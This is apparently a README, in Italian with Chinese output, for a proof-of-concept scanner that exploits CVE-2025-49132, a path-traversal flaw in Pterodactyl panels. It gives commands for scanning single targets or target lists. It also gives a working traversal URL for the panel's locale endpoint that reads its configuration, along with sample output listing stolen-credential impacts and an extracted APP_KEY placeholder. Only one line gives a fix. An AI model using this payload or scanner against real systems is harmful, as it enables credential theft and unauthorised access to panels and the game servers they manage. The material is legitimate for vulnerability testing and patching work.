Condividi

CVE-2025-49132_poc

Esempi di utilizzo

Scansione di un singolo obiettivo:

python3 CVE-2025-49132_poc.py -u http://pterodactyl.example.com

Scansione di una lista di obiettivi:

python3 CVE-2025-49132_poc.py -f 目标列表.txt

Salvataggio dei risultati della scansione:

python3 CVE-2025-49132_poc.py -f 目标列表.txt -o 扫描结果.txt

Esempio di output:

Quando è presente una vulnerabilità:

[+] 存在漏洞: 漏洞确认

    漏洞详情:
      • 漏洞类型: 路径遍历
      • 攻击向量: 通过路径遍历参数访问 /locales/locale.json
      • 利用 URL: http://target.com/locales/locale.json?locale=..%2F..%2Fconfig&namespace=app
      
    潜在影响:
      • 读取面板配置文件 (.env) 中的凭据
      • 提取数据库中的敏感信息
      • 访问面板管理的游戏服务器文件
    
    提取的 APP_KEY: base64{{your_secret_key_here}}
    
    修复建议: 立即升级到 Pterodactyl v1.11.11 或更高版本